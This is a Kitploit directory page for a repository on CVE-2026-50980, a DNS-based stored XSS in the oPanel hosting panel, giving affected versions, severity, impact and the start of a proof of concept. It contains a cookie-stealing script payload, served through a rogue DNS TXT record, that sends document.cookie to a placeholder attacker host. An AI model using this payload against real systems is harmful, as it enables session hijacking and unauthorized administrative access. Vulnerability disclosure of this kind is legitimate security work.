Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-50980 — oPanel DNS-Based Cross-Site Scripting (XSS) & Session Hijacking | Kitploit
Tools/GitHubGitHub/bugresearch/cve-2026-50980
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityDNS Analysis
GitHubbugresearch/cve-2026-50980

CVE-2026-50980

oPanel DNS-Based Cross-Site Scripting (XSS) & Session Hijacking

View Repository
364 months agoNot yet reviewed
Share

CVE-2026-50980: DNS-Based Cross-Site Scripting (XSS) & Session Hijacking in oPanel

Overview

  • CVE ID: CVE-2026-50980
  • Product: oPanel
  • Affected Versions: < v1.20.25
  • Vulnerability Type: Stored Cross-Site Scripting (XSS) via DNS / Session Hijacking
  • Severity: High (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N)

Description

A Cross-Site Scripting (XSS) vulnerability exists in oPanel (versions prior to v1.20.25) due to the improper handling and sanitization of DNS responses. When the panel performs a DNS query (e.g., retrieving domain information, checking DNS propagation, or querying TXT records) against an attacker-controlled nameserver, it reflects the returned DNS records directly into the web interface without adequate HTML encoding.

An attacker can exploit this by configuring a rogue DNS server to respond to TXT record queries with a malicious JavaScript payload. When an authenticated oPanel user (such as an administrator) views the page where the DNS response is displayed, the payload is executed within the context of their browser session.

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser. As demonstrated in the Proof of Concept, this can be leveraged to steal sensitive authentication cookies (document.cookie), leading to complete session hijacking and unauthorized administrative access to the oPanel environment.

Proof of Concept (PoC)

The exploitation requires the attacker to set up a malicious DNS server and an HTTP listener to capture the exfiltrated data.

1. Attacker Infrastructure Setup

The attacker runs a rogue DNS server on UDP port 53 that is configured to respond to any TXT query with an XSS payload.

Malicious TXT Record Payload:

<script>new Image().src='http://<ATTACKER_IP>:<HTTP_PORT>/log?cookie='+document.cookie;</script>
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    524
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    478
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    357
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    317
  • 5

    estorides

    grisuno/estorides

    Aggregates 99+ free OSINT sources in parallel, resolves entities into a knowledge graph, and exports STIX 2.1, MISP, or GraphML with LLM-assisted analysis.

    305
  • 6

    opencti

    opencti-platform/opencti

    Open Cyber Threat Intelligence Platform

    275

Explore all tools

Browse our collection of tools

View all tools →